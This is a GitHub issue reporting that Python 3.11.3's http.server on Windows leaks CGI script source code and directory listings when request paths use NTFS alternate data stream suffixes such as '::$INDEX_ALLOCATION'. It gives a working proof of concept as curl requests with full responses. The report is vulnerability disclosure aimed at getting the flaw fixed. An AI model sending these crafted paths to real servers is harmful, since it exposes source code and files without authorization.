Skip to content

Python 3.11.3 http.server NTFS Alternate Data Stream Information Disclosure #104712

Open
@fmunozs

Description

@fmunozs

Python 3.11.3 http.server Alternate Data Stream Information Disclosure

Python http.server supports reading NTFS Alternate Data Streams, which will allow an attacker leaking CGI source code and directory listing on CGI folders.

Tested on

Python 3.11.3 amd64 on Windows 11

Analysis

ADS is a feature present on NTFS file system: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3

As seen on MS documentation, the following are equivalent:

Dir C:\Users
Dir C:\Users:$I30:$INDEX_ALLOCATION
Dir C:\Users::$INDEX_ALLOCATION

This allows us to trick the directory validation that is present on http.server

while dir_sep > 0 and not collapsed_path[:dir_sep] in self.cgi_directories:
to enable directory listing and leaking CGI scripts source code. This is not related to #104711

Proof-of-Concept

  1. Install Python 3.11.3 on Windows
  2. Create a sample CGI script and start the http server on port 8000, execute the following on cmd.exe:
mkdir cgi-bin
cd cgi-bin
echo #!/usr/bin/env python3 > hi.py
echo print("Content-Type: text/html\n") >> hi.py
echo print("<!doctype html><title>Hello</title><h2>hello world</h2>") >> hi.py
cd ..
python -m http.server  --cgi 8000
  1. From another terminal, this shows that the hi.py script is executed as a CGI application:
$ curl -v http://localhost:8000/cgi-bin/hi.py
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:43 GMT
< Content-Type: text/html
<
<!doctype html><title>Hello</title><h2>hello world</h2>
* Closing connection 0

  1. The following will show that listing is not allowed on the /cgi-bin/ folder by default:
$ curl -v http://localhost:8000/cgi-bin/
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 403 CGI script is not a plain file ('/cgi-bin/')
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:56 GMT
< Connection: close
< Content-Type: text/html;charset=utf-8
< Content-Length: 384
<
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 403</p>
        <p>Message: CGI script is not a plain file ('/cgi-bin/').</p>
        <p>Error code explanation: 403 - Request forbidden -- authorization will not help.</p>
    </body>
</html>
* Closing connection 0


  1. When called with the following commands, the source code for hi.py is returned instead of the HTML output:
$ curl -v http://localhost:8000/cgi-bin::$INDEX_ALLOCATION/hi.py
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin::$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:12 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0


$ curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/

*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:52 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0

The following command shows that directory listing is also possible:

curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:37:25 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 284
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</title>
</head>
<body>
<h1>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</h1>
<hr>
<ul>
<li><a href="hi.py">hi.py</a></li>
</ul>
<hr>
</body>
</html>
* Closing connection 0

Linked PRs

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions